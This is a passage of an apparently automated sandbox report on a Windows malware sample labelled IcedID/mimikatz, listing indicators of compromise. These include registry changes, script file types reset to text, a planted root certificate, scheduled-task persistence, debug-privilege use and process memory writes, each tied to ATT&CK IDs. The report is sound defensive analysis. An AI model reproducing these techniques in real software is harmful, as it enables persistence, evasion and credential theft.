Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	huzbeq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eizbestpy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-08-24_6ad61c8770ccb8be09cae599d1b6eb13_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iyapfhp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2532	cmd.exe
1984	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral1/files/0x0008000000016d53-5.dat	nsis_installer_2
behavioral1/files/0x0007000000016de1-15.dat	nsis_installer_1
behavioral1/files/0x0007000000016de1-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	iyapfhp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	iyapfhp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1"	bieqttlep.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bieqttlep.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bieqttlep.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	iyapfhp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	iyapfhp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{717DBA70-2010-4850-9344-1A4EAC3901F8}\WpadDecisionTime = 30a72ec5f3f5da01	iyapfhp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	iyapfhp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	iyapfhp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00af000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	iyapfhp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump	bieqttlep.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1"	bieqttlep.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1"	bieqttlep.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	iyapfhp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	iyapfhp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{717DBA70-2010-4850-9344-1A4EAC3901F8}\WpadNetworkName = "Network 3"	iyapfhp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	iyapfhp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	iyapfhp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	iyapfhp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\22-2b-4a-99-f3-dc\WpadDecisionReason = "1"	iyapfhp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	iyapfhp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	iyapfhp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	iyapfhp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	iyapfhp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\22-2b-4a-99-f3-dc\WpadDecisionTime = 30a72ec5f3f5da01	iyapfhp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	iyapfhp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	iyapfhp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	iyapfhp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	iyapfhp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	iyapfhp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{717DBA70-2010-4850-9344-1A4EAC3901F8}	iyapfhp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\22-2b-4a-99-f3-dc	iyapfhp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	iyapfhp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\22-2b-4a-99-f3-dc\WpadDecisionTime = 30fb3b82f3f5da01	iyapfhp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	bieqttlep.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bieqttlep.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	iyapfhp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1"	bieqttlep.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	iyapfhp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	iyapfhp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	iyapfhp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	iyapfhp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	iyapfhp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bieqttlep.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	iyapfhp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	iyapfhp.exe

Modifies registry class 14 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	iyapfhp.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	iyapfhp.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	iyapfhp.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1984	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2560	schtasks.exe
2276	schtasks.exe
2440	schtasks.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs

pid	Process
1372	iyapfhp.exe
932	iyapfhp.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe

Suspicious behavior: LoadsDriver 31 IoCs

pid	Process
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found
480	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
2352	2024-08-24_6ad61c8770ccb8be09cae599d1b6eb13_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	2352	2024-08-24_6ad61c8770ccb8be09cae599d1b6eb13_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	2020	iyapfhp.exe
Token: SeDebugPrivilege	2756	iyapfhp.exe
Token: SeDebugPrivilege	1608	vfshost.exe
Token: SeAuditPrivilege	1576	svchost.exe
Token: SeDebugPrivilege	2284	bieqttlep.exe
Token: SeShutdownPrivilege	2284	bieqttlep.exe
Token: SeLockMemoryPrivilege	2096	yetdzn.exe
Token: SeLockMemoryPrivilege	2096	yetdzn.exe
Token: SeDebugPrivilege	2020	bieqttlep.exe
Token: SeShutdownPrivilege	2020	bieqttlep.exe
Token: SeDebugPrivilege	2276	bieqttlep.exe
Token: SeShutdownPrivilege	2276	bieqttlep.exe
Token: SeDebugPrivilege	2364	bieqttlep.exe
Token: SeShutdownPrivilege	2364	bieqttlep.exe
Token: SeDebugPrivilege	2780	bieqttlep.exe
Token: SeShutdownPrivilege	2780	bieqttlep.exe
Token: SeDebugPrivilege	1168	bieqttlep.exe
Token: SeShutdownPrivilege	1168	bieqttlep.exe
Token: SeDebugPrivilege	1664	bieqttlep.exe
Token: SeShutdownPrivilege	1664	bieqttlep.exe
Token: SeDebugPrivilege	2244	bieqttlep.exe
Token: SeShutdownPrivilege	2244	bieqttlep.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2352	2024-08-24_6ad61c8770ccb8be09cae599d1b6eb13_hacktools_icedid_mimikatz.exe
2352	2024-08-24_6ad61c8770ccb8be09cae599d1b6eb13_hacktools_icedid_mimikatz.exe
2020	iyapfhp.exe
2020	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
1376	xohudmc.exe
2280	huzbeq.exe
1372	iyapfhp.exe
1372	iyapfhp.exe
932	iyapfhp.exe
932	iyapfhp.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2352 wrote to memory of 2532	2352	2024-08-24_6ad61c8770ccb8be09cae599d1b6eb13_hacktools_icedid_mimikatz.exe	30
PID 2352 wrote to memory of 2532	2352	2024-08-24_6ad61c8770ccb8be09cae599d1b6eb13_hacktools_icedid_mimikatz.exe	30
PID 2352 wrote to memory of 2532	2352	2024-08-24_6ad61c8770ccb8be09cae599d1b6eb13_hacktools_icedid_mimikatz.exe	30
PID 2352 wrote to memory of 2532	2352	2024-08-24_6ad61c8770ccb8be09cae599d1b6eb13_hacktools_icedid_mimikatz.exe	30
PID 2532 wrote to memory of 1984	2532	cmd.exe	32
PID 2532 wrote to memory of 1984	2532	cmd.exe	32
PID 2532 wrote to memory of 1984	2532	cmd.exe	32
PID 2532 wrote to memory of 1984	2532	cmd.exe	32
PID 2532 wrote to memory of 2020	2532	cmd.exe	33
PID 2532 wrote to memory of 2020	2532	cmd.exe	33
PID 2532 wrote to memory of 2020	2532	cmd.exe	33
PID 2532 wrote to memory of 2020	2532	cmd.exe	33
PID 2756 wrote to memory of 3008	2756	iyapfhp.exe	35
PID 2756 wrote to memory of 3008	2756	iyapfhp.exe	35
PID 2756 wrote to memory of 3008	2756	iyapfhp.exe	35
PID 2756 wrote to memory of 3008	2756	iyapfhp.exe	35
PID 3008 wrote to memory of 2288	3008	cmd.exe	37
PID 3008 wrote to memory of 2288	3008	cmd.exe	37
PID 3008 wrote to memory of 2288	3008	cmd.exe	37
PID 3008 wrote to memory of 2288	3008	cmd.exe	37
PID 3008 wrote to memory of 2732	3008	cmd.exe	38
PID 3008 wrote to memory of 2732	3008	cmd.exe	38
PID 3008 wrote to memory of 2732	3008	cmd.exe	38
PID 3008 wrote to memory of 2732	3008	cmd.exe	38
PID 3008 wrote to memory of 2612	3008	cmd.exe	39
PID 3008 wrote to memory of 2612	3008	cmd.exe	39
PID 3008 wrote to memory of 2612	3008	cmd.exe	39
PID 3008 wrote to memory of 2612	3008	cmd.exe	39
PID 3008 wrote to memory of 2256	3008	cmd.exe	40
PID 3008 wrote to memory of 2256	3008	cmd.exe	40
PID 3008 wrote to memory of 2256	3008	cmd.exe	40
PID 3008 wrote to memory of 2256	3008	cmd.exe	40
PID 3008 wrote to memory of 2724	3008	cmd.exe	41
PID 3008 wrote to memory of 2724	3008	cmd.exe	41
PID 3008 wrote to memory of 2724	3008	cmd.exe	41
PID 3008 wrote to memory of 2724	3008	cmd.exe	41
PID 3008 wrote to memory of 2640	3008	cmd.exe	42
PID 3008 wrote to memory of 2640	3008	cmd.exe	42
PID 3008 wrote to memory of 2640	3008	cmd.exe	42
PID 3008 wrote to memory of 2640	3008	cmd.exe	42
PID 2756 wrote to memory of 2180	2756	iyapfhp.exe	44
PID 2756 wrote to memory of 2180	2756	iyapfhp.exe	44
PID 2756 wrote to memory of 2180	2756	iyapfhp.exe	44
PID 2756 wrote to memory of 2180	2756	iyapfhp.exe	44
PID 2756 wrote to memory of 788	2756	iyapfhp.exe	46
PID 2756 wrote to memory of 788	2756	iyapfhp.exe	46
PID 2756 wrote to memory of 788	2756	iyapfhp.exe	46
PID 2756 wrote to memory of 788	2756	iyapfhp.exe	46
PID 2756 wrote to memory of 2912	2756	iyapfhp.exe	48
